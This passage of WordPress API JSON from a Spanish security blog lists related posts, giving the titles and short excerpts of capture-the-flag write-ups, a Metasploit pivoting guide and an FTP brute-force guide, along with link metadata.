":3092,"url":"https:\/\/hardsoftsecurity.es\/index.php\/2023\/06\/14\/hack-the-box-inject-write-up\/","url_meta":{"origin":3174,"position":0},"title":"Hack The Box | Inject | Write Up","author":"david","date":"junio 14, 2023","format":false,"excerpt":"Just tackled the 'Inject' machine on #HackTheBox. Loved the exploration of high ports and the challenge of the injection exploitation! If you're into #CTF, this is a must try! \ud83d\ude80 #CyberSecurity #PenTesting #EthicalHacking #InfoSec The first step we will do is perform our Nmap scan: \u2514\u2500$ sudo nmap -sT -n\u2026","rel":"","context":"En \u00abGu\u00edas\u00bb","block_context":{"text":"Gu\u00edas","link":"https:\/\/hardsoftsecurity.es\/index.php\/category\/guias\/"},"img":{"alt_text":"","src":"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/image-15.png?fit=1200%2C1028&ssl=1&resize=350%2C200","width":350,"height":200,"srcset":"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/image-15.png?fit=1200%2C1028&ssl=1&resize=350%2C200 1x, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/image-15.png?fit=1200%2C1028&ssl=1&resize=525%2C300 1.5x, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/image-15.png?fit=1200%2C1028&ssl=1&resize=700%2C400 2x, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/image-15.png?fit=1200%2C1028&ssl=1&resize=1050%2C600 3x"},"classes":[]},{"id":3562,"url":"https:\/\/hardsoftsecurity.es\/index.php\/2023\/11\/01\/hack-the-box-reddish-write-up\/","url_meta":{"origin":3174,"position":1},"title":"Hack The Box | Reddish | Write Up","author":"david","date":"noviembre 1, 2023","format":false,"excerpt":"Diving deep into the realms of \u2694\ufe0f HackTheBox \ud83d\udc7d, I took on one of its most challenging monsters: Reddish! After a week of intense battles, deciphering and decoding, I can finally say: I conquered it! \ud83d\udca5. Not only was it an insane level machine that tested every bit of my\u2026","rel":"","context":"En \u00abGu\u00edas\u00bb","block_context":{"text":"Gu\u00edas","link":"https:\/\/hardsoftsecurity.es\/index.php\/category\/guias\/"},"img":{"alt_text":"","src":"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/10\/image-11.png?fit=697%2C600&ssl=1&resize=350%2C200","width":350,"height":200,"srcset":"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/10\/image-11.png?fit=697%2C600&ssl=1&resize=350%2C200 1x, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/10\/image-11.png?fit=697%2C600&ssl=1&resize=525%2C300 1.5x"},"classes":[]},{"id":3581,"url":"https:\/\/hardsoftsecurity.es\/index.php\/2023\/11\/15\/pivoting-with-metasploit\/","url_meta":{"origin":3174,"position":2},"title":"PIVOTING with METASPLOIT?","author":"david","date":"noviembre 15, 2023","format":false,"excerpt":"Pivoting with Metasploit and proxy chains is a sophisticated technique used by penetration testers to navigate through a network by leveraging a compromised system. This post will introduce the art of pivoting using Metasploit's autoroute and socks_proxy modules, illustrating how to extend your reach within a target environment discreetly and\u2026","rel":"","context":"En \u00abGu\u00edas\u00bb","block_context":{"text":"Gu\u00edas","link":"https:\/\/hardsoftsecurity.es\/index.php\/category\/guias\/"},"img":{"alt_text":"","src":"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/11\/image.png?fit=1200%2C686&ssl=1&resize=350%2C200","width":350,"height":200,"srcset":"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/11\/image.png?fit=1200%2C686&ssl=1&resize=350%2C200 1x, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/11\/image.png?fit=1200%2C686&ssl=1&resize=525%2C300 1.5x, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/11\/image.png?fit=1200%2C686&ssl=1&resize=700%2C400 2x, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/11\/image.png?fit=1200%2C686&ssl=1&resize=1050%2C600 3x"},"classes":[]},{"id":1507,"url":"https:\/\/hardsoftsecurity.es\/index.php\/2018\/05\/22\/fuerza-bruta-a-ftp-con-nmap-y-proxychains\/","url_meta":{"origin":3174,"position":3},"title":"Fuerza bruta a FTP con NMAP y ProxyChains.","author":"david","date":"mayo 22, 2018","format":false,"excerpt":"Hola buenos d\u00edas a todos, hoy os traigo una gu\u00eda bastante interesante, la cual utilizo las herramientas NMAP y ProxyChains... Para los m\u00e1s experimentados, ya sabr\u00e1n para que sirven las dos herramientas anteriormente mencionadas, pero para los m\u00e1s novatos, vamos a realizar una peque\u00f1a aclaraci\u00f3n\/definici\u00f3n de que son estas herramientas,\u2026","rel":"","context":"En \u00abGu\u00edas\u00bb","block_context":{"text":"Gu\u00edas","link":"https:\/\/hardsoftsecurity.es\/index.php\/category\/guias\/"},"img":{"alt_text":"","src":"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2018\/05\/pentesting_logo.png?fit=634%2C309&ssl=1&resize=350%2C200","width":350,"height":200,"srcset":"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2018\/05\/pentesting_logo.png?fit=634%2C309&ssl=1&resize=350%2C200 1x, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2018\/05\/pentesting_logo.png?fit=634%2C309&ssl=1&resize=525%2C300 1.5x"},"classes":[]},{"id":3248,"url":"https:\/\/hardsoftsecurity.es\/index.php\/2023\/08\/29\/tryhackme-relevant-write-up\/","url_meta":{"origin":3174,"position":4},"title":"TryHackMe | Relevant | Write Up","author":"david","date":"agosto 29, 2023","format":false,"excerpt":"In the vast world of cybersecurity, sometimes, it's the smallest of details that can lead to the biggest breakthroughs. It's no surprise then, that in my recent foray into the \u2018Relevant\u2019 room on TryHackMe, I found myself engrossed in a painstaking process of meticulous enumeration. But isn't that the very\u2026","rel":"","context":"En \u00abGu\u00edas\u00bb","block_context":{"text":"Gu\u00edas","link":"https:\/\/hardsoftsecurity.es\/index.php\/category\/guias\/"},"img":{"alt_text":"","src":"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/08\/Untitled-6-1.png?fit=845%2C208&ssl=1&resize=350%2C200","width":350,"height":200,"srcset":"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/08\/Untitled-6-1.png?fit=845%2C208&ssl=1&resize=350%2C200 1x, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/08\/Untitled-6-1.png?fit=845%2C208&ssl=1&resize=525%2C300 1.5x, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/08\/Untitled-6-1.png?fit=845%2C208&ssl=1&resize=700%2C400 2x"},"classes":[]},{"id":3056,"url":"https:\/\/hardsoftsecurity.es\/index.php\/2023\/06\/02\/try-hack-me-overpass-write-up\/","url_meta":{"origin":3174,"position":5},"title":"Try Hack Me | Overpass | Write Up","author":"david","date":"junio 2, 2023","format":false,"excerpt":"Hey there, Cyber Warriors! \ud83d\ude80 Today we will see another CTF write up but now from Try Hack Me. I did this CTF in one of the workshops in IT-S Now Cyber Security conference in Vienna. Come with me and learn how you can resolv this machine! We will walk\u2026","rel":"","context":"En \u00abGu\u00edas\u00bb","block_context":{"text":"Gu\u00edas","link":"https:\/\/hardsoftsecurity.es\/index.php\/category\/guias\/"},"img":{"alt_text":"","src":"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/image-2.png?fit=1008%2C720&ssl=1&resize=350%2C200","width":350,"height":200,"srcset":"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/image-2.png?fit=1008%2C720&ssl=1&resize=350%2C200 1x, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/image-2.png?fit=1008%2C720&ssl=1&resize=525%2C300 1.5x, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/image-2.png?fit=1008%2C720&ssl=1&resize=700%2C400 2x"},"classes":[]}],"jetpack_likes_enabled":true,"jetpack_featured_media_url":"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/08\/image-1.png?fit=1107%2C948&ssl=1","_links":{"self":[{"href":"https:\/\/hardsoftsecurity.es\/index.php\/wp-json\/wp\/v2\/posts\/3174","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/hardsoftsecurity.es\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/hardsoftsecurity.es\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/hardsoftsecurity.es\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/hardsoftsecurity.es\/index.php\/wp-json\/wp\/v2\/comments?post=3174"}],"version-history":[{"count":2,"href":"https:\/\/hardsoftsecurity.es\/index.php\/wp-json\/wp\/v2\/posts\/3174\/revisions"}],"predecessor-version":[{"id":3203,"href":"https:\/\/hardsoftsecurity.es\/index.php\/wp-json\/wp\/v2\/posts\/3174\/revisions\/3203"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/hardsoftsecurity.es\/index.php\/wp-json\/wp\/v2\/media\/3202"}],"wp:attachment":[{"href":"https:\/\/hardsoftsecurity.es\/index.php\/wp-json\/wp\/v2\/media?parent=3174"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/hardsoftsecurity.es\/index.php\/wp-json\/wp\/v2\/categories?post=3174"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/hardsoftsecurity.es\/index.php\/wp-json\/wp\/v2\/tags?post=3174"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}